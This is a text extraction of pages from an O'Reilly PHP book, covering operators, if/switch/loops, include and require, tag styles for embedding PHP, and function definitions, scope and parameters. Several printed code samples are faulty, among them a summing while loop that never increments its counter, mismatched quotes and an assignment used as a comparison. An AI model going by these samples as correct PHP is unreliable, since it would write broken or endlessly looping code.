Minus-equals (–=)Subtracts the righthand operand from the value of the lefthand operand, thenassigns the result to the lefthand operand.

Divide-equals (/=)Divides the value of the lefthand operand by the righthand operand, then assignsthe result to the lefthand operand.

Multiply-equals (*=)Multiplies the righthand operand with the value of the lefthand operand, thenassigns the result to the lefthand operand.

Modulus-equals (%=)Performs the modulus operation on the value of the lefthand operand and therighthand operand, then assigns the result to the lefthand operand.

Bitwise-XOR-equals (^=)Performs a bitwise XOR on the lefthand and righthand operands, then assignsthe result to the lefthand operand.

Bitwise-AND-equals (&=)Performs a bitwise AND on the value of the lefthand operand and the righthandoperand, then assigns the result to the lefthand operand.

,ch02.15294 Page 45 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (46)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

46 | Chapter 2: Language Basics

Bitwise-OR-equals (|=)Performs a bitwise OR on the value of the lefthand operand and the righthandoperand, then assigns the result to the lefthand operand.

Concatenate-equals (.=)Concatenates the righthand operand to the value of the lefthand operand, thenassigns the result to the lefthand operand.

Miscellaneous OperatorsThe remaining PHP operators are for error suppression, executing an external com-mand, and selecting values:

Error suppression (@)Some operators or functions can generate error messages. The error suppressionoperator, discussed in full in Chapter 13, is used to prevent these messages frombeing created.

Execution (`...`)The backtick operator executes the string contained between the backticks as ashell command and returns the output. For example:

$listing = `ls –ls /tmp`;echo $listing;

Conditional (?:)The conditional operator is, depending on the code you look at, either the mostoverused or most underused operator. It is the only ternary (three-operand)operator and is therefore sometimes just called the ternary operator.

The conditional operator evaluates the expression before the ?. If the expressionis true, the operator returns the value of the expression between the ? and :;otherwise, the operator returns the value of the expression after the :. Forinstance:

<a href="<?= $url ?>"><?= $linktext ? $linktext : $url ?></a>

If text for the link $url is present in the variable $linktext, it is used as the textfor the link; otherwise, the URL itself is displayed.

Flow-Control StatementsPHP supports a number of traditional programming constructs for controlling theflow of execution of a program.

Conditional statements, such as if/else and switch, allow a program to execute dif-ferent pieces of code, or none at all, depending on some condition. Loops, such aswhile and for, support the repeated execution of particular code.

,ch02.15294 Page 46 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (47)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Flow-Control Statements | 47

ifThe if statement checks the truthfulness of an expression and, if the expression istrue, evaluates a statement. An if statement looks like:

if (expression)statement

To specify an alternative statement to execute when the expression is false, use theelse keyword:

if (expression)statement

elsestatement

For example:

if ($user_validated) echo "Welcome!";else echo "Access Forbidden!";

To include more than one statement in an if statement, use a block—a curly brace-enclosed set of statements:

if ($user_validated) { echo 'Welcome!"; $greeted = 1;} else { echo "Access Forbidden!"; exit;}

PHP provides another syntax for blocks in tests and loops. Instead of enclosing theblock of statements in curly braces, end the if line with a colon (:) and use a specifickeyword to end the block (endif, in this case). For example:

if ($user_validated) : echo "Welcome!"; $greeted = 1;else : echo "Access Forbidden!"; exit;endif;

Other statements described in this chapter also have similar alternate style syntax(and ending keywords); they can be useful if you have large blocks of HTML insideyour statements. For example:

<?if($user_validated):?> <table> <tr> <td>First Name:</td><td>Sophia</td> </tr>

,ch02.15294 Page 47 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (48)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

48 | Chapter 2: Language Basics

<tr> <td>Last Name:</td><td>Lee</td> </tr> </table><?else:?> Please log in.<?endif?>

Because if is a statement, you can chain them:

if ($good) print('Dandy!');else if ($error) print('Oh, no!'); else print("I'm ambivalent...");

Such chains of if statements are common enough that PHP provides an easier syn-tax: the elseif statement. For example, the previous code can be rewritten as:

if ($good) print('Dandy!');elseif ($error) print('Oh, no!');else print("I'm ambivalent...");

The ternary conditional operator (?:) can be used to shorten simple true/false tests.Take a common situation such as checking to see if a given variable is true and print-ing something if it is. With a normal if/else statement, it looks like this:

<td><? if($active) echo 'yes'; else echo 'no'; ?></td>

With the ternary conditional operator, it looks like this:

<? echo '<td>'.($active ? 'yes':'no').'</td>' ?>

Compare the syntax of the two:

if (expression) true_statement else false_statement(expression) ? true_expression : false_expression

The main difference here is that the conditional operator is not a statement at all.This means that it is used on expressions, and the result of a complete ternaryexpression is itself an expression. In the previous example, the echo statement isinside the if condition, while when used with the ternary operator, it precedes theexpression.

switchIt often is the case that the value of a single variable may determine one of a num-ber of different choices (e.g., the variable holds the username and you want to dosomething different for each user). The switch statement is designed for just thissituation.

,ch02.15294 Page 48 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (49)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Flow-Control Statements | 49

A switch statement is given an expression and compares its value to all cases in theswitch; all statements in a matching case are executed, up to the first break keywordit finds. If none match, and a default is given, all statements following the defaultkeyword are executed, up to the first break keyword encountered.

For example, suppose you have the following:

if ($name == 'ktatroe') // do somethingelseif ($name == 'rasmus') // do somethingelseif ($name == 'ricm') // do somethingelseif ($name == 'bobk') // do something

You can replace that statement with the following switch statement:

switch($name) { case 'ktatroe': // do something break; case 'rasmus': // do something break; case 'ricm': // do something break; case 'bobk': // do something break;}

The alternative syntax for this is:

switch($name): case 'ktatroe': // do something break; case 'rasmus': // do something break; case 'ricm': // do something break; case 'bobk': // do something break;endswitch;

Because statements are executed from the matching case label to the next break key-word, you can combine several cases in a fall-through. In the following example,“yes” is printed when $name is equal to “sylvie” or to “bruno”:

switch ($name) { case 'sylvie': // fall-through

,ch02.15294 Page 49 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (50)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

50 | Chapter 2: Language Basics

case 'bruno': print('yes'); break; default: print('no'); break;}

Commenting the fact that you are using a fall-through case in a switch is a good idea,so someone doesn’t come along at some point and add a break, thinking you had for-gotten it.

You can specify an optional number of levels for the break keyword to break out of.In this way, a break statement can break out of several levels of nested switch state-ments. An example of using break in this manner is shown in the next section.

whileThe simplest form of loop is the while statement:

while (expression)statement

If the expression evaluates to true, the statement is executed and then the expressionis reevaluated (if it is true, the body of the loop is executed, and so on). The loopexits when the expression evaluates to false.

As an example, here’s some code that adds the whole numbers from 1 to 10:

$total = 0;$i = 1;while ($i <= 10) { $total += $i;}

The alternative syntax for while has this structure:

while (expr):statement;

...;endwhile;

For example:

$total = 0;$i = 1;while ($i <= 10): $total += $i;endwhile;

You can prematurely exit a loop with the break keyword. In the following code, $inever reaches a value of 6, because the loop is stopped once it reaches 5:

$total = 0;$i = 1;while ($i <= 10) {

,ch02.15294 Page 50 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (51)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Flow-Control Statements | 51

if ($i == 5) break; // breaks out of the loop

$total += $i; $i++;}

Optionally, you can put a number after the break keyword, indicating how many lev-els of loop structures to break out of. In this way, a statement buried deep in nestedloops can break out of the outermost loop. For example:

$i = 0;while ($i < 10) { while ($j < 10) { if ($j == 5) break 2; // breaks out of two while loops $j++; }

$i++;}

echo $i;echo $j;05

The continue statement skips ahead to the next test of the loop condition. As withthe break keyword, you can continue through an optional number of levels of loopstructure:

while ($i < 10) { while ($j < 10) { if ($j = 5) continue 2; // continues through two levels $j++; } $i++;}

In this code, $j never has a value above 5, but $i goes through all values from 0through 9.

PHP also supports a do/while loop, which takes the following form:

dostatement

while (expression)

Use a do/while loop to ensure that the loop body is executed at least once:

$total = 0;$i = 1;do { $total += $i++;} while ($i <= 10);

,ch02.15294 Page 51 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (52)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

52 | Chapter 2: Language Basics

You can use break and continue statements in a do/while statement just as in a nor-mal while statement.

The do/while statement is sometimes used to break out of a block of code when anerror condition occurs. For example:

do { // do some stuff if ($error_condition) break; // do some other stuff} while (false);

Because the condition for the loop is false, the loop is executed only once, regard-less of what happens inside the loop. However, if an error occurs, the code after thebreak is not evaluated.

forThe for statement is similar to the while statement, except it adds counter initializa-tion and counter manipulation expressions, and is often shorter and easier to readthan the equivalent while loop.

Here’s a while loop that counts from 0 to 9, printing each number:

$counter = 0;while ($counter < 10) { echo "Counter is $counter\n"; $counter++;}

Here’s the corresponding, more concise for loop:

for ($counter = 0; $counter < 10; $counter++) echo "Counter is $counter\n";

The structure of a for statement is:

for (start; condition; increment)statement

The expression start is evaluated once, at the beginning of the for statement. Eachtime through the loop, the expression condition is tested. If it is true, the body of theloop is executed; if it is false, the loop ends. The expression increment is evaluatedafter the loop body runs.

The alternative syntax of a for statement is:

for (expr1; expr2; expr3):statement;

...;endfor;

,ch02.15294 Page 52 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (53)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Flow-Control Statements | 53

This program adds the numbers from 1 to 10 using a for loop:

$total = 0;for ($i= 1; $i <= 10; $i++) { $total += $i;}

Here’s the same loop using the alternate syntax:

$total = 0;for ($i = 1; $i <= 10; $i++): $total += $i;endfor;

You can specify multiple expressions for any of the expressions in a for statement byseparating the expressions with commas. For example:

$total = 0;for ($i = 0, $j = 0; $i <= 10; $i++, $j *= 2) { $total += $j;}

You can also leave an expression empty, signaling that nothing should be done forthat phase. In the most degenerate form, the for statement becomes an infinite loop.You probably don’t want to run this example, as it never stops printing:

for (;;) { echo "Can't stop me!<br />";}

In for loops, as in while loops, you can use the break and continue keywords to endthe loop or the current iteration.

foreachThe foreach statement allows you to iterate over elements in an array. The two formsof foreach statement are discussed in Chapter 5. To loop over an array, accessingeach key, use:

foreach ($array as $current) { // ...}

The alternate syntax is:

foreach ($array as $current): // ...endforeach;

To loop over an array, accessing both key and value, use:

foreach ($array as $key => $value) { // ...}

,ch02.15294 Page 53 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (54)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

54 | Chapter 2: Language Basics

The alternate syntax is:

foreach ($array as $key => $value): // ...endforeach;

declareThe declare statement allows you to specify execution directives for a block of code.The structure of a declare statement is:

declare (directive)statement

Currently, there is only one declare form, the ticks directive. Using it, you can spec-ify how frequently (measured roughly in number of code statements) a tick functionregistered with register_tick_function( ) is called. For example:

register_tick_function("some_function");

declare(ticks = 3) { for($i = 0; $i < 10; $i++) { // do something }}

In this code, some_function( ) is called after every third statement is executed.

exit and returnThe exit statement ends execution of the script as soon as it is reached. The returnstatement returns from a function or (at the top level of the program) from the script.

The exit statement takes an optional value. If this is a number, it’s the exit status ofthe process. If it’s a string, the value is printed before the process terminates. Theexit( ) construct is an alias for die( ):

$handle = @mysql_connect("localhost", $USERNAME, $PASSWORD);if (!$handle) { die("Could not connect to database");}

This is more commonly written as:

$handle = @mysql_connect("localhost", $USERNAME, $PASSWORD) or die("Could not connect to database");

See Chapter 3 for more information on using the return statement in functions.

Including CodePHP provides two constructs to load code and HTML from another module: requireand include. They both load a file as the PHP script runs, work in conditionals and

,ch02.15294 Page 54 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (55)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Including Code | 55

loops, and complain if the file being loaded can’t be found. The main difference isthat attempting to require a nonexistent file is a fatal error, while attempting toinclude such a file produces a warning but does not stop script execution.

A common use of include is to separate page-specific content from general sitedesign. Common elements such as headers and footers go in separate HTML files,and each page then looks like:

<? include 'header.html'; ?>content<? include 'footer.html'; ?>

We use include because it allows PHP to continue to process the page even if there’san error in the site design file(s). The require construct is less forgiving and is moresuited to loading code libraries, where the page can’t be displayed if the librariesdon’t load. For example:

require 'codelib.inc';mysub( ); // defined in codelib.inc

A marginally more efficient way to handle headers and footers is to load a single fileand then call functions to generate the standardized site elements:

<? require 'design.inc'; header( );?>content<? footer( ); ?>

If PHP cannot parse some part of a file included by include or require, a warning isprinted and execution continues. You can silence the warning by prepending the callwith the silence operator; for example, @include.

If the allow_url_fopen option is enabled through PHP’s configuration file, php.ini,you can include files from a remote site by providing a URL instead of a simple localpath:

include 'http://www.example.com/codelib.inc';

If the filename begins with “http://” or “ftp://”, the file is retrieved from a remote siteand then loaded.

Files included with include and require can be arbitrarily named. Common exten-sions are .php, .inc, and .html. Note that remotely fetching a file that ends in .phpfrom a web server that has PHP enabled fetches the output of that PHP script. Forthis reason, we recommend you use .inc for library files that primarily contain codeand .html for library files that primarily contain HTML.

If a program uses include or require to include the same file twice, the file is loadedand the code is run or the HTML is printed twice. This can result in errors about theredefinition of functions or multiple copies of headers or HTML being sent. To pre-vent these errors from occurring, use the include_once and require_once constructs.They behave the same as include and require the first time a file is loaded, but quietly

,ch02.15294 Page 55 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (56)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

56 | Chapter 2: Language Basics

ignore subsequent attempts to load the same file. For example, many page elements,each stored in separate files, need to know the current user’s preferences. The elementlibraries should load the user preferences library with require_once. The page designercan then include a page element without worrying about whether the user preferencecode has already been loaded.

Code in an included file is imported at the scope that is in effect where the includestatement is found, so the included code can see and alter your code’s variables. Thiscan be useful—for instance, a user-tracking library might store the current user’sname in the global $user variable:

// main pageinclude 'userprefs.inc';echo "Hello, $user.";

The ability of libraries to see and change your variables can also be a problem. Youhave to know every global variable used by a library to ensure that you don’t acci-dentally try to use one of them for your own purposes, thereby overwriting thelibrary’s value and disrupting how it works.

If the include or require construct is in a function, the variables in the included filebecome function-scope variables for that function.

Because include and require are keywords, not real statements, you must alwaysenclose them in curly braces in conditional and loop statements:

for ($i=0; $i < 10; $i++) { include "repeated_element.html";}

Use the get_included_files( ) function to learn which files your script has includedor required. It returns an array containing the full system path filenames of eachincluded or required file. Files that did not parse are not included in this array.

Embedding PHP in Web PagesAlthough it is possible to write and run standalone PHP programs, most PHP code isembedded in HTML or XML files. This is, after all, why it was created in the firstplace. Processing such documents involves replacing each chunk of PHP source codewith the output it produces when executed.

Because a single file contains PHP and non-PHP source code, we need a way to iden-tify the regions of PHP code to be executed. PHP provides four different ways to dothis.

As you’ll see, the first, and preferred, method looks like XML. The second methodlooks like SGML. The third method is based on ASP tags. The fourth method usesthe standard HTML <script> tag; this makes it easy to edit pages with enabled PHPusing a regular HTML editor.

,ch02.15294 Page 56 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (57)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Embedding PHP in Web Pages | 57

XML StyleBecause of the advent of the eXtensible Markup Language (XML) and the migrationof HTML to an XML language (XHTML), the currently preferred technique forembedding PHP uses XML-compliant tags to denote PHP instructions.

Coming up with tags to demark PHP commands in XML was easy, because XMLallows the definition of new tags. To use this style, surround your PHP code with<?php and ?>. Everything between these markers is interpreted as PHP, and everythingoutside the markers is not. Although it is not necessary to include spaces between themarkers and the enclosed text, doing so improves readability. For example, to getPHP to print “Hello, world”, you can insert the following line in a web page:

<?php echo "Hello, world"; ?>

The trailing semicolon on the statement is optional, because the end of the blockalso forces the end of the expression. Embedded in a complete HTML file, this lookslike:

<!doctype html public "-//w3c//dtd html 4.0 transitional//en"><html><head> <title>This is my first PHP program!</title></head><body><p> Look, ma! It's my first PHP program:<br /> <?php echo "Hello, world"; ?><br /> How cool is that?</p></body></html>

Of course, this isn’t very exciting—we could have done it without PHP. The realvalue of PHP comes when we put dynamic information from sources such as data-bases and form values into the web page. That’s for a later chapter, though. Let’s getback to our “Hello, world” example. When a user visits this page and views itssource, it looks like this:

<!doctype html public "-//w3c//dtd html 4.0 transitional//en"><html><head> <title>This is my first PHP program!</title></head><body><p> Look, ma! It's my first PHP program:<br /> Hello, world!<br /> How cool is that?</p></body></html>

,ch02.15294 Page 57 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (58)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

58 | Chapter 2: Language Basics

Notice that there’s no trace of the PHP source code from the original file. The usersees only its output.

Also notice that we switched between PHP and non-PHP, all in the space of a singleline. PHP instructions can be put anywhere in a file, even within valid HTML tags.For example:

<input type="text" name="first_name" value="<?php echo "Rasmus"; ?>" />

When PHP is done with this text, it will read:

<input type="text" name="first_name" value="Rasmus" />

The PHP code within the opening and closing markers does not have to be on thesame line. If the closing marker of a PHP instruction is the last thing on a line, theline break following the closing tag is removed as well. Thus, we can replace the PHPinstructions in the “Hello, world” example with:

<?php echo "Hello, world"; ?><br />

with no change in the resulting HTML.

SGML StyleThe “classic” style of embedding PHP comes from SGML instruction processingtags. To use this method, simply enclose the PHP in <? and ?>. Here’s the “Helloworld” example again:

<? echo "Hello, world"; ?>

This style, known as short tags, is the shortest and least intrusive, and it can beturned off so as to not clash with the XML PI (Process Instruction) tag in the php.iniinitialization file. Consequently, if you want to write fully portable PHP code thatyou are going to distribute to other people (who might have short tags turned off),you should use the longer <?php ... ?> style, which cannot be turned off. If you haveno intention of distributing your code, you don’t have an issue with telling peoplewho want to use your code to turn on short tags, and you are not planning on mix-ing XML in with your PHP code, then using this tag style is okay.

ASP StyleBecause neither the SGML nor XML tag style is strictly legal HTML,* some HTMLeditors do not parse it correctly for color syntax highlighting, context-sensitive help,

* Mostly because you are not allowed to use a > inside your tags if you wish to be compliant, but who wantsto write code like if( $a &gt; 5 )...?

,ch02.15294 Page 58 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (59)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Embedding PHP in Web Pages | 59

and other such niceties. Some will even go so far as to helpfully remove the “offend-ing” code for you.

However, many of these same HTML editors recognize another mechanism (no morelegal than PHP’s) for embedding code—that of Microsoft’s Active Server Pages (ASP).Like PHP, ASP is a method for embedding server-side scripts within documents.

If you want to use ASP-aware tools to edit files that contain embedded PHP, you canuse ASP-style tags to identify PHP regions. The ASP-style tag is the same as theSGML-style tag, but with % instead of ?:

<% echo "Hello, world"; %>

In all other ways, the ASP-style tag works the same as the SGML-style tag.

ASP-style tags are not enabled by default. To use these tags, either build PHP withthe --enable-asp-tags option or enable asp_tags in the PHP configuration file.

Script StyleThe final method of distinguishing PHP from HTML involves a tag invented to allowclient-side scripting within HTML pages, the <script> tag. You might recognize it asthe tag in which JavaScript is embedded. Since PHP is processed and removed fromthe file before it reaches the browser, you can use the <script> tag to surround PHPcode. To use this method, simply specify "php" as the value of the language attributeof the tag:

<script language="php"> echo "Hello, world";</script>

This method is most useful with HTML editors that work only on strictly legalHTML files and don’t yet support XML processing commands.

Echoing Content DirectlyPerhaps the single most common operation within a PHP application is displayingdata to the user. In the context of a web application, this means inserting into theHTML document information that will become HTML when viewed by the user.

To simplify this operation, PHP provides special versions of the SGML and ASP tagsthat automatically take the value inside the tag and insert it into the HTML page. Touse this feature, add an equals sign (=) to the opening tag. With this technique, wecan rewrite our form example as:

<input type="text" name="first_name" value="<?="Rasmus"; ?>">

If you have ASP-style tags enabled, you can do the same with your ASP tags:

<p>This number (<%= 2 + 2 %>)<br />and this number (<% echo (2 + 2); %>) <br />Are the same.</p>

,ch02.15294 Page 59 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (60)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

60 | Chapter 2: Language Basics

After processing, the resulting HTML is:

<p>This number (4) <br />and this number (4) <br />are the same.</p>

,ch02.15294 Page 60 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (61)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

61

Chapter 3 CHAPTER 3

Functions

A function is a named block of code that performs a specific task, possibly actingupon a set of values given to it, or parameters, and possibly returning a single value.Functions save on compile time—no matter how many times you call them, func-tions are compiled only once for the page. They also improve reliability by allowingyou to fix any bugs in one place, rather than everywhere you perform a task, andthey improve readability by isolating code that performs specific tasks.

This chapter introduces the syntax of function calls and function definitions and dis-cusses how to manage variables in functions and pass values to functions (includingpass-by-value and pass-by-reference). It also covers variable functions and anony-mous functions.

Calling a FunctionFunctions in a PHP program can be either built-in (or, by being in an extension,effectively built-in) or user-defined. Regardless of their source, all functions are eval-uated in the same way:

$some_value = function_name( [ parameter, ... ] );

The number of parameters a function requires differs from function to function (and,as we’ll see later, may even vary for the same function). The parameters supplied tothe function may be any valid expression and should be in the specific orderexpected by the function. A function’s documentation will tell you what parametersthe function expects and what values you can expect to be returned.

Here are some examples of functions:

// strlen( ) is a built-in function that returns the length of a string$length = strlen("PHP"); // $length is now 3

// sin() and asin( ) are the sine and arcsine math functions$result = sin(asin(1)); // $result is the sine of arcsin(1), or 1.0

,ch03.15429 Page 61 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (62)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

62 | Chapter 3: Functions

// unlink( ) deletes a file$result = unlink("functions.txt"); // false if unsuccessful

In the first example, we give an argument, "PHP", to the function strlen( ), whichgives us the number of characters in the string it’s given. In this case, it returns 3,which is assigned to the variable $length. This is the simplest and most common wayto use a function.

The second example passes the result of asin(1) to the sin( ) function. Since the sineand arcsine functions are reflexive, taking the sine of the arcsine of any value willalways return that same value.

In the final example, we give a filename to the unlink( ) function, which attempts todelete the file. Like many functions, it returns false when it fails. This allows you touse another built-in function, die( ), and the short-circuiting property of the logicoperators. Thus, this example might be rewritten as:

$result = unlink("functions.txt") or die("Operation failed!");

The unlink( ) function, unlike the other two examples, affects something outside ofthe parameters given to it. In this case, it deletes a file from the filesystem. All suchside effects of a function should be carefully documented.

PHP has a huge array of functions already defined for you to use in your programs.Everything from database access, to creating graphics, to reading and writing XMLfiles, to grabbing files from remote systems can be found in PHP’s many extensions.Chapter 14 goes into detail on how to add new extensions to PHP, the built-in func-tions are described in detail in Appendix A, and an overview of PHP’s extensions canbe found in Appendix B.

Defining a FunctionTo define a function, use the following syntax:

function [&] function_name ( [ parameter [, ... ] ] ){ statement list}

The statement list can include HTML. You can declare a PHP function that doesn’tcontain any PHP code. For instance, the column( ) function simply gives a convenientshort name to HTML code that may be needed many times throughout the page:

<? function column( ) { ?></td><td><? } ?>

The function name can be any string that starts with a letter or underscore followedby zero or more letters, underscores, and digits. Function names are case-insensitive;that is, you can call the sin( ) function as sin(1), SIN(1), SiN(1), and so on, becauseall these names refer to the same function.

,ch03.15429 Page 62 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (63)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Defining a Function | 63

Typically, functions return some value. To return a value from a function, use thereturn statement: put return expr inside your function. When a return statement isencountered during execution, control reverts to the calling statement, and the evalu-ated results of expr will be returned as the value of the function. Although it canmake for messy code, you can actually include multiple return statements in a func-tion if it makes sense (for example, if you have a switch statement to determinewhich of several values to return).

If you define your function with the optional ampersand before the name, the func-tion returns a reference to the returned data rather than a copy of the data.

Let’s take a look at a simple function. Example 3-1 takes two strings, concatenatesthem, and then returns the result (in this case, we’ve created a slightly slower equiva-lent to the concatenation operator, but bear with us for the sake of example).

The function takes two arguments, $left and $right. Using the concatenation opera-tor, the function creates a combined string in the variable $combined_string. Finally,in order to cause the function to have a value when it’s evaluated with our argu-ments, we return the value $combined_string.

Because the return statement can accept any expression, even complex ones, we cansimplify the program as shown in Example 3-2.

If we put this function on a PHP page, we can call it from anywhere within the page.Take a look at Example 3-3.

Example 3-1. String concatenation

function strcat($left, $right) { $combined_string = $left . $right; return $combined_string;}

Example 3-2. String concatenation redux

function strcat($left, $right) { return $left . $right;}

Example 3-3. Using our concatenation function

<?php function strcat($left, $right) { return $left . $right; }

$first = "This is a "; $second = " complete sentence!";

echo strcat($first, $second);?>

,ch03.15429 Page 63 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (64)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

64 | Chapter 3: Functions

When this page is displayed, the full sentence is shown.

This function takes in an integer, doubles it, and returns the result:

function doubler($value) { return $value << 1;}

Once the function is defined, you can use it anywhere on the page. For example:

<?= 'A pair of 13s is ' . doubler(13); ?>

You can nest function declarations, but with limited effect. Nested declarations donot limit the visibility of the inner-defined function, which may be called from any-where in your program. The inner function does not automatically get the outerfunction’s arguments. And, finally, the inner function cannot be called until theouter function has been called.

function outer ($a) { function inner ($b) { echo "there $b"; } echo "$a, hello ";}outer("well");inner("reader");well, hello there reader

Variable ScopeUp to this point, if you don’t use functions, any variable you create can be used any-where in a page. With functions, this is no longer always true. Functions keep theirown sets of variables that are distinct from those of the page and of other functions.

The variables defined in a function, including its parameters, are not accessible out-side the function, and, by default, variables defined outside a function are not acces-sible inside the function. The following example illustrates this:

$a = 3;

function foo( ) { $a += 2;}

foo( );echo $a;

The variable $a inside the function foo( ) is a different variable than the variable $aoutside the variable; even though foo( ) uses the add-and-assign operator, the valueof the outer $a remains 3 throughout the life of the page. Inside the function, $a hasthe value 2.

,ch03.15429 Page 64 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (65)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Variable Scope | 65

As we discussed in Chapter 2, the extent to which a variable can be seen in a pro-gram is called the scope of the variable. Variables created within a function are insidethe scope of the function (i.e., have function-level scope). Variables created outside offunctions and objects have global scope and exist anywhere outside of those func-tions and objects. A few variables provided by PHP have both function-level and glo-bal scope.

At first glance, even an experienced programmer may think that in the previousexample $a will be 5 by the time the echo statement is reached, so keep that in mindwhen choosing names for your variables.

Global VariablesIf you want a variable in the global scope to be accessible from within a function, youcan use the global keyword. Its syntax is:

global var1, var2, ...

Changing the previous example to include a global keyword, we get:

$a = 3;

function foo( ) { global $a; $a += 2;}

foo( );echo $a;

Instead of creating a new variable called $a with function-level scope, PHP uses theglobal $a within the function. Now, when the value of $a is displayed, it will be 5.

You must include the global keyword in a function before any uses of the globalvariable or variables you want to access. Because they are declared before the body ofthe function, function parameters can never be global variables.

Using global is equivalent to creating a reference to the variable in the $GLOBALS vari-able. That is, the following declarations:

global $var;$var = &$GLOBALS['var'];

both create a variable in the function’s scope that is a reference to the same value asthe variable $var in the global scope.

Static VariablesLike C, PHP supports declaring function variables static. A static variable is sharedbetween all calls to the function and is initialized during a script’s execution only the

,ch03.15429 Page 65 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (66)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

66 | Chapter 3: Functions

first time the function is called. To declare a function variable static, use the statickeyword at the variable’s first use. Typically, the first use of a static variable is toassign an initial value:

static var [= value][, ... ];

In Example 3-4, the variable $count is incremented by one each time the function iscalled.

When the function is called for the first time, the static variable $count is assigned avalue of 0. The value is returned and $count is incremented. When the function ends,$count is not destroyed like a non-static variable, and its value remains the same untilthe next time counter( ) is called. The for loop displays the numbers from 0 to 4.

Function ParametersFunctions can expect, by declaring them in the function definition, an arbitrary num-ber of arguments.

There are two different ways of passing parameters to a function. The first, and morecommon, is by value. The other is by reference.

Passing Parameters by ValueIn most cases, you pass parameters by value. The argument is any valid expression.That expression is evaluated, and the resulting value is assigned to the appropriatevariable in the function. In all of the examples so far, we’ve been passing argumentsby value.

Passing Parameters by ReferencePassing by reference allows you to override the normal scoping rules and give a func-tion direct access to a variable. To be passed by reference, the argument must be avariable; you indicate that a particular argument of a function will be passed by refer-ence by preceding the variable name in the parameter list with an ampersand (&).Example 3-5 revisits our doubler( ) function with a slight change.

Example 3-4. Static variable counter

function counter( ) { static $count = 0; return $count++;}

for ($i = 1; $i <= 5; $i++) { print counter( );}

,ch03.15429 Page 66 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (67)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Function Parameters | 67

Because the function’s $value parameter is passed by reference, the actual value of$a, rather than a copy of that value, is modified by the function. Before, we had toreturn the doubled value, but now we change the caller’s variable to be the doubledvalue.

Here’s another place where a function contains side effects: since we passed the vari-able $a into doubler( ) by reference, the value of $a is at the mercy of the function. Inthis case, doubler( ) assigns a new value to it.

A parameter that is declared as being passed by reference can only be a variable.Thus, if we included the statement <?= doubler(7); ?> in the previous example, itwould issue an error.

Even in cases where your function does affect the given value, you may want aparameter to be passed by reference. When passing by value, PHP must copy thevalue. Particularly for large strings and objects, this can be an expensive operation.Passing by reference removes the need to copy the value.

Default ParametersSometimes, a function may need to accept a particular parameter in some cases. Forexample, when you call a function to get the preferences for a site, the function maytake in a parameter with the name of the preference to retrieve. If you want toretrieve all the preferences, rather than using some special keyword, you can just notsupply an argument. This behavior works by using default arguments.

To specify a default parameter, assign the parameter value in the function declara-tion. The value assigned to a parameter as a default value cannot be a complexexpression; it can only be a constant.

function get_preferences($which_preference = "all" ) { // if $which_preference is "all", return all prefs; // otherwise, get the specific preference requested...}

When you call get_preferences( ), you can choose to supply an argument. If you do, itreturns the preference matching the string you give it; if not, it returns all preferences.

A function may have any number of parameters with default values. However, theymust be listed after all the parameters that do not have default values.

Example 3-5. Doubler redux

function doubler(&$value) { $value = $value << 1;}

$a = 3;doubler($a);echo $a;

